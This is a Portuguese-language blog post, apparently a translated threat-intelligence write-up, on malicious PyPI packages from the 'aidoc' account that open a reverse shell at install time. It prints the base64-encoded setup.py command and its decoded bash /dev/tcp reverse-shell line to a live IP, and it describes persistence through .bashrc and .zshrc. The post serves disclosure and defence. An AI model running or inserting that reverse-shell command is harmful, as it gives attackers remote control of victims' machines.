Views: 266

• Descobriu-se que uma conta de usuário PyPi, aidoc , estava publicando pacotes maliciosos
• O código malicioso nos pacotes abre um shell remoto na máquina da vítima e usa um mecanismo de persistência simples anexando o comando malicioso aos arquivos “.bashrc” e “.zshrc”.
• Realizei um experimento proativo em uma máquina virtual e consegui interagir com o invasor por meio do script Python.

https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FLztNRruFr4w%3Ffeature%3Doembed&display_name=YouTube&url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DLztNRruFr4w&image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FLztNRruFr4w%2Fhqdefault.jpg&key=a19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=youtube

Fundo

Nos últimos anos, a missão da minha equipe tem sido combater os hackers da cadeia de suprimentos de software que atacam desenvolvedores e usuários por meio de código-fonte aberto . Nosso objetivo é detectar o mais rápido possível e denunciar as equipes de segurança relevantes para bloquear suas operações.

Para apoiar nossa missão, minha equipe criou um pipeline automatizado de análise de pacotes , que verifica novos pacotes assim que são carregados no ecossistema de código aberto.

Um dos nossos motores é chamado de “Watchdog”. Este mecanismo está ciente de contas de usuário conhecidas como ruins que publicaram pacotes maliciosos anteriormente. Este mecanismo traz um contexto útil quando essas contas de usuário fazem novas contribuições e, das muitas contas de usuário em nossa “lista impertinente”, uma conta de usuário PyPi aidoc(visto pela primeira vez em agosto de 2022) aparece novamente do nada e começa a soltar mais do mesmo. Estamos investigando, mas atenção, esse cara é perigoso.

Além disso, outro mecanismo que minha equipe integrou ao nosso pipeline de análise é chamado de “Groot”, um mecanismo de análise dinâmica (sandbox). O objetivo desse mecanismo é detonar e analisar completamente os pacotes de código aberto instalando, importando e usando ferramentas SAST para invocar a funcionalidade interna.

Esse mecanismo resulta em uma auditoria completa do comportamento do pacote, incluindo quaisquer arquivos criados, subprocessos iniciados, comunicações de rede (incluindo tráfego TLS) e outros insights úteis.

O que há dentro do pacote?

Ao receber um sinal priorizado de nosso pipeline de análise, inspecionei manualmente os pacotes recém-publicados.

O código malicioso é colocado no script “setup.py” e executado na instalação. O invasor usou nomes de função referindo-se aos usuários como vítimas, como identifyVictim()e parece que o objetivo é abrir um shell remoto na máquina da vítima . O invasor tentou ocultar o comando codificando-o como base64

base64 -D <<< KGJhc2ggLWMgJzA8JjEwMC07ZXhlYyAxMDA8Pi9kZXYvdGNwLzMuMjIxLjE1Mi4yMDMvNzcxO3NoIDwmMTAwID4mMTAwIDI+JjEwMCcgPiAvZGV2L251bGwgMj4mMSAmKQo= | sh

que decodifica para

(bash -c '0<&100-;exec 100<>/dev/tcp/3.221.152.203/771;sh <&100 >&100 2>&100' > /dev/null 2>&1 &)

um comando simples para iniciar o shell remoto recebendo comandos do endereço IP 3.221.152.203 na porta 771

Além disso, um mecanismo de persistência simples foi usado anexando seu comando malicioso codificado em base64 ao final dos arquivos “.bashrc” e “.zshrc”.

Experimento proativo

Decidi realizar um experimento proativo em uma máquina virtual que criei para a tarefa. Comecei infectando a máquina virtual com um dos pacotes maliciosos executando o comando:

pip instalar aidoc-e2e-utils

Não demorou muito para que eu visse o invasor gravando arquivos no disco e lendo arquivos confidenciais.

Depois de deixar o invasor brincar com minha máquina virtual, decidi levá-la para o próximo nível escrevendo um script Python que se conecta ao servidor C2 do invasor usando um soquete bruto e aguarda para receber um novo comando.

Quando tal comando é recebido, o script solicita minha confirmação para executar; caso contrário, permitindo-me digitar qualquer saída inventada que eu decida.

https://medium.com/media/c7dc9b045d9a413c4737a82b4b3a1460

Este é o meu diálogo com o invasor do outro lado:

atacante: whoami
 vítima: quem é você? 

atacante: ifconfig 
vítima: 192.168.0.1 

atacante: ls ~/ 
vítima: ei, vamos conversar. quem é você? 

atacante: ls . 
vítima: quem é você? 

atacante: Engenheiro de segurança. Vocês? 
Vítima: Tem certeza? os engenheiros de segurança não escrevem shells reversos. 

atacante: ls 
ls 
ls 
ifconfig 
vítima: não. 

atacante: ls. 
vítima: De onde você é?

atacante: Estou verificando os sistemas internos. Confusão de dependências que você conhece. Se não for nosso sistema, estou desligando o shell e desligando a conexão (só não conecte de volta) Até mais

Em nossa troca, o invasor alegou ser um pesquisador de segurança que estava “ verificando os sistemas internos. Confusão de dependências que você conhece. ” e disse que “ Se não for nosso sistema, estou matando o shell e desligo a conexão.”

Sei que esse invasor fez mais do que afirma, pois nosso mecanismo de análise dinâmica o observou descartando novos arquivos e executando comandos para ler arquivos confidenciais, como “ cat /etc/passwd” .

Sem mencionar que os pesquisadores de segurança geralmente não infectam outras máquinas com shells reversos e se conectam interativamente.

panic_mode: verdadeiro

Logo após nossa conversa, notei que o invasor publicou novas versões para todos os pacotes de propriedade da conta de usuário PyPi aidoc , omitindo a palavra “vítima” e removendo o código do shell remoto, deixando o que parece ser um simples farol para indicar ao servidor que um dos pacotes foi instalado.

Embora não existam avisos e isenções de “NÃO EXECUTAR”, considero este pacote mais adequado para fins de pesquisa.

Código de Conduta

Afirmar ser um pesquisador de segurança não é um passe livre , se suas ações não estiverem alinhadas com os padrões esperados de um .

Se a pessoa por trás desse ataque for realmente um engenheiro de segurança, parece-nos suspeito que ela não tenha declarado sua intenção e identidade como profissional de segurança. Além disso, a funcionalidade do shell reverso, bem como outras ações descritas neste blog, não estão alinhadas com o que se espera de um pesquisador de segurança.

Incidentes em que ações de indivíduos que se dizem profissionais de segurança causaram danos graves, como o envenenamento do popular pacote Python “ctx” , levantam o tema de um certo “código de conduta”

para pesquisadores de segurança no campo da segurança de código aberto. Eu recomendo ler esta história discutindo o que fazer e o que não fazer ao realizar pesquisas de pacotes maliciosos.

Conclusão

Não se engane, não é um problema de pacote malicioso. É um problema do atacante.

Aparentemente, esse agente de ameaça tinha como alvo o aidoc.com , que é uma startup israelense no campo de inteligência artificial em saúde. Entrei em contato com o CISO e os executivos da empresa para informá-los de que alguém pode estar atacando sua organização (pois os pacotes têm o prefixo “aidoc-” e a conta de usuário “aidoc”).

Além disso, relatei essa atividade à equipe de segurança do PyPi e eles removeram os pacotes maliciosos.

Minha equipe continuará monitorando o ecossistema em busca de invasores e trabalhando em conjunto para manter o ecossistema seguro.

COIs

• 3[.]129.111.79
• 3[.]221.152.203
• hxxp://3[.]221.152.203:8000/acl/package/*

Pacotes

https://medium.com/media/2c633743b54d3edbfd12e3f443c8ee5b

FONTE: MEDIUM